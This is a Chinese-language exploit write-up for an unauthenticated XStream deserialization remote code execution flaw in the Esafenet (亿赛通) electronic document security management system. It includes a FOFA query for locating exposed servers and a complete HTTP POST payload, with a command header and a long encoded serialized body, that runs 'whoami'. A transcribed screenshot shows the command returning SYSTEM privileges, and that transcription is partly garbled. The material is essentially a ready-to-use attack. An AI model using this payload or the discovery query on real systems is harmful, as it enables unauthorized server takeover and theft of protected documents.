# Y5-9亿赛通-电子文档安全管理系统-反序列化RCE

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web 服务器。

### 网站图片:



# 网络测绘:

#### fofa语法:

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

## 漏洞复现:

#### payload:

POST /CDGServer3/DecryptApplicationService1?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami

 $\tt NNLINELBIIKEOGPIFLMMIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIC$ 

```
效果图:
                                                                                                                                                                                     数据包扫描 热加载 构造请求
                                                                                                                                                                                                                                                                                   Responses 21bytes / 232ms
                                                                                                                                                                                                                                                                                                                                                                                                               美化 渲染 请输入定位响应
                 POST·/CDGServer3/DecryptApplicationService1?command=GETSYSTEMINFO·HTTP/1.1
                                                                                                                                                                                                                                                                                                   HTTP/1.1-200
                                                                                                                                                                                                                                                                                                     Set-Cookie: JSESSIONID=BFC447F25D440DC53F21BCF1C55BD2F3: Path=/CDGServe
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
Date: Wed, 31 Jan 2024 20:48:01 GMT
                 User-Agent: ·Mozilla/5.0 · (Windows ·NT ·6.4; ·WOW64) · AppleWebKit/537.36 · (KHTML, ·like ·Gecko) · Chrome/41.0.
                 Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                                                                                                                                   Connection: close
Content-Length: 21
                          nection: close
                 Content-Type: text/xml
cmd: whoami
                                                                                                                                                                                                                                                                                                    nt-authority\system
                 NNLINELBIIKEOGPIFLNWHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPWN
EIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMWEDIJNFKDCHHBF
MFGBDDIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILAHAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFA
                 GLHIDHPICHAEHFPHNHJGINIDCITHLAHOAPCDJNIJABODKBFABJHFIERLLPGGKNNHFCAGBHCOEOHCBFOFGBBPLKPHLLNOCJANIDJPOE
PBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHFBOJIJAOFJKBFMONKBEECKKJPCECHFKPPKEGOIOB
HIBIBAGBIXAMOFLEKDKODMHGJOCEPEBNIHFKEKKMCENNPHEGOFNIOPHHEPPPHFIJESPJPLMGOKHOACKALCOKIPFHHECFPD
JNMIFNGHLCOFLPDACOOALCKKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLHHEMBFGGHELOBHFIFALD
                 JANTENGHLCOFEPDACOOALCHKBOEBPNPCKCKNJJJJANLFPKGLOINAIDOAJMHAEDLBNONDJHPFELIJMKLMHEMBFGGHELCDBFHIFALD
IIMBFEOHNHBOIOMLCJKCPHJPHDLPHDDCFJNWGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIED
LEONKEMBLMLBEGKNOCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHWKKNDHLCGIWMKWBDDGIDJWWGEOGGJNJONMEKFOMEAHWILDKIFB
GKGEZCWGOFEKGJEWNAFLOGEGOBKOHADBAWBWDJOGIFPMOKITLICAEELNEOAKWEFFHOGHOPBDICEALJIENEKHFCEHWBBJLCFPDHD
GBBFIMKHLLFIHONFDJAEJJLPJLPPHAEHBHDEBOIDLCMCIKABBEBFEBGJEECDEINCPHNKIENONIMPBJCCMCHOAJHHDKKEGGDGDJDI
IDEHNNLNHHEONJEJWNLHLPHBBEJDLLJLLNPKIMGHLOFWKBDEBHHFLPGEKWHOFNBLLAALGWKNJONNGIOJLBFECJMLKHWBKKELDP
BDMBFEHAKBHENNDFBBEDCAMMHNNGHDGLNJHJDAGPILNGBEDCDJBCJOANOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPC
BOELFJOAHICODGANJALHFENNFHAJILNECAEGGGGBIDLJENHCEDWADGEOFKLDEBJEJOBCFLPEIEAGGOTLBEGOXPOAADWATCHFLIJN
BOELFJOAHICODGANJALHFENNFHAJILNECAEGGGGBIDLJSHMCEDWADGEOFKLDEBJEJOBCFLPEIEAGGOTLBEGOXPOAADWATCHFLIJN
                 DMBGAJJFKKNLIBOAABJINADADNALIKHDJNDKGOPELEHGPGGNJHAAJKICHBEGWHCLEPFHCKNIFKPEGWHDLINGHBGDHCGGEIGPHIGLAH
KBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPA
NPLIBGDCCNMONDNOIPOECCPELCEDPGCNJHEIOIFFJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMWBNWMFBEJCDDDFOPAJOWBNKBDBG
                  KKMLKCBBPF00JCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABE
                 NFKEHCLIKMFGHPPJFIBBANPIOFKEEBIFIBDIIAIKENFILIDPDELJDMOPFKBOHPGLIPMNCFJFDCJGKCFOAJMPIIBEOHJPI
```